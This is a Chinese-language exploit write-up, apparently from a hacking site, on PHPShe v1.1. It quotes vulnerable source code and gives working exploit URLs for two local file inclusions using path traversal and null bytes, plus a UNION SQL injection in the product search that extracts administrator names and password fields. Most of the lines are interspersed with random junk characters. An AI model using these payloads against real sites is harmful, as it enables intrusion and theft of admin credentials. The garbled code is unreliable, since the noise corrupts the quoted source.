phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
5 U* r0 B* x2 |3 g" Z/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
( K" I- J# C, @) k& ~) o& f. u, G' N6 v0 C/*******************************************************/
0×00 整体大概参数传输
* t/ {$ k) \( |, |1 _* {/ J

7 ^, `$ t* d5 @* e& P
//common.php
$ v8 l* B/ y9 A/ b5 Rif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
8 k/ o, K- o& s( p}
else {
2 e# m9 G& y5 r* q5 Y!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
: J4 D& h( b) l, n}
5 g8 s1 p" L; ?- ~session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

: ^" q# h3 I# p0×01 包含漏洞
8 K# N# d4 H8 b. Z

. `" W) q" P2 F+ I- ?7 E//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
2 T) ^, k/ U  D8 S5 ~2 o- u( a* S# ]include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
# C' M) ?5 d5 U( Wpe_result();
) d7 ]# l, K% y+ }  ^2 Z?>
//common 文件 第15行开始
' U( Z! k/ E0 _8 g0 R. Nurl路由配置
$module = $mod = $act = 'index';
% ^1 U: Z! G, k. e& P0 f$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
" k7 M7 K0 M& K$ e" t

7 g" x; u/ F( t  e
0×02 搜索注入
% K6 _% p4 a* m
& q' N8 l+ A' H# m. P" }  g<code id="code2">

//product.php文件
" H( s* h& d( U" F; {' acase 'list':
& {9 L% q, ^: g, i+ b; O9 v$category_id = intval($id);
! @" E- `# L5 r0 _& i3 X+ p$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
+ W) l* d3 z7 h9 \& \( {8 F" U$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
1 g6 B$ @0 }0 t8 N$ Aif ($category_id) {
3 c7 M! B0 V1 D  E2 x/ ?0 `2 R5 `where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
, Z1 \. {* [8 w  v8 O6 t}
8 W, |( u$ Z$ c6 @, O( S$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
# v9 n5 @) o" m$sqlwhere .= " order by `product_id` desc";
4 x0 M9 b; X/ d: T" Y}
! U4 e% I+ F7 `- G$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
+ w8 `2 S2 L, G  Y5 v3 s$product_hotlist = product_hotlist();
# m3 E2 H) c5 R* m- l//当前路径
) e. z5 S' y( j; ?% D% p$nowpath = category_path($category_id);
. ]- z8 f, @8 ?/ a, G; @$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
+ z  A# Q+ X. ]2 i1 Z& u. U//跟进selectall函数库
+ l5 [) G8 x) c! W& F5 b& X1 Epublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
. P- ]& e0 `# A) C) w+ E" X. z//处理条件语句
$sqlwhere = $this->_dowhere($where);
8 b# M! R  Q4 h2 sreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
# U1 Y+ d1 V7 {9 o//exp
9 u& F2 |4 v! q0 y0 M8 ^' v$ f0 a0 _product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
2 l7 L2 S9 @: P$ C! o

</code>
; s' ~" W/ x( g& `
0×03 包含漏洞2
/ t/ K  \" [) ]2 m
& j+ W  ^2 T1 ?" f0 p& b/ c8 S2 h7 K<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

9 k( }' p" V" y4 a1 s, `foreach($cache_payway as $k => $v) {

! ~* o8 B4 k" e4 }$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

- s7 h& ]9 p) T6 Aif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

3 C9 d* P$ {- k5 D1 P9 yif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

; v2 P/ M. m3 ]% c5 z+ y  ~) s$order['order_name'] .= "{$v['product_name']};";

, j# X3 K" h5 j+ C0 C* _}

( p' M( E' T: d6 }echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 _) m2 P" D2 G% n, ]! X}//当一切准备好的时候就可以进行"鸡肋包含了"

! a" h# i, n3 S7 s3 a: d$ welse {

$ k+ q  m8 H1 J& |+ Gpe_error('支付错误...');

) Z. H6 A8 N2 A}

' R0 d! t/ \& K& f0 A6 r+ B6 T! S  R}

0 u9 F" o; u% `8 b. a$seo = pe_seo('选择支付方式');

- ]% f$ J% N, Jinclude(pe_tpl('order_pay.html'));

# {6 Q7 ~9 n) N2 r. cbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
* {& M' @+ k1 E  E2 q5 r$ M" j3 nhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg